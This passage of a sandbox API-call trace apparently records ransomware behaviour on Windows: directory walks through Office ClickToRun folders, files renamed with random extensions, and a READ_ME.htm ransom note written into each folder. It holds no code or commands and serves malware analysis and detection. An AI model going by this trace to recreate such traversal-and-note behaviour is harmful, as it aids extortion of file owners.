cFileName="MasterDescriptor.en-us.xml.xo1phl", cAlternateFileName="MASTER~1.XO1")) returned 1 [0140.351] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e58f940, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e58f940, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e58f940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.351] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0140.351] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0140.351] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0140.351] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.351] SetErrorMode (uMode=0x0) returned 0x1 [0140.352] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16", lpFilePart=0x0) returned 0x55 [0140.352] SetErrorMode (uMode=0x1) returned 0x0 [0140.352] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\en-us.16\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e58f940, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e58f940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.352] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e58f940, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e58f940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.352] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x4e58f940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5770, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml.xo1phl", cAlternateFileName="MASTER~1.XO1")) returned 1 [0140.352] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e58f940, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e58f940, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e58f940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0140.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0140.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0140.353] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.353] SetErrorMode (uMode=0x0) returned 0x1 [0140.353] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\READ_ME.htm", lpFilePart=0x0) returned 0x61 [0140.353] SetErrorMode (uMode=0x1) returned 0x0 [0140.353] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\en-us.16\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.355] SetErrorMode (uMode=0x0) returned 0x1 [0140.355] GetFileType (hFile=0x1d0) returned 0x1 [0140.355] WriteFile (in: hFile=0x1d0, lpBuffer=0x28da818*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28da818*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0140.356] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16", lpFilePart=0x0) returned 0x56 [0140.357] SetErrorMode (uMode=0x1) returned 0x0 [0140.357] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\x-none.16\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.357] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.357] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5230, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml.3rvlpy", cAlternateFileName="MASTER~1.3RV")) returned 1 [0140.357] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e6e65a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.357] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0140.357] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0140.357] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0140.358] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.358] SetErrorMode (uMode=0x0) returned 0x1 [0140.358] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16", lpFilePart=0x0) returned 0x56 [0140.358] SetErrorMode (uMode=0x1) returned 0x0 [0140.358] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\x-none.16\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.359] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.359] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5230, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml.3rvlpy", cAlternateFileName="MASTER~1.3RV")) returned 1 [0140.359] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e6e65a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.359] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0140.359] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0140.359] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d782430, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d782430, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0140.359] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.359] SetErrorMode (uMode=0x0) returned 0x1 [0140.360] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\READ_ME.htm", lpFilePart=0x0) returned 0x62 [0140.360] SetErrorMode (uMode=0x1) returned 0x0 [0140.360] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\x-none.16\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\x-none.16\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.360] SetErrorMode (uMode=0x0) returned 0x1 [0140.360] GetFileType (hFile=0x1d0) returned 0x1 [0140.360] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e1758*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28e1758*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0140.363] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\READ_ME.htm", lpFilePart=0x0) returned 0x58 [0140.363] SetErrorMode (uMode=0x1) returned 0x0 [0140.363] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.364] SetErrorMode (uMode=0x0) returned 0x1 [0140.364] GetFileType (hFile=0x1d0) returned 0x1 [0140.364] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e5d88*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28e5d88*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0140.366] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData", lpFilePart=0x0) returned 0x33 [0140.366] SetErrorMode (uMode=0x1) returned 0x0 [0140.366] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.367] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.367] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e70c700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1 [0140.367] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0140.367] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e7589c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.367] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e7589c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.367] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.367] SetErrorMode (uMode=0x0) returned 0x1 [0140.368] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData", lpFilePart=0x0) returned 0x33 [0140.368] SetErrorMode (uMode=0x1) returned 0x0 [0140.368] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.368] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.368] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, 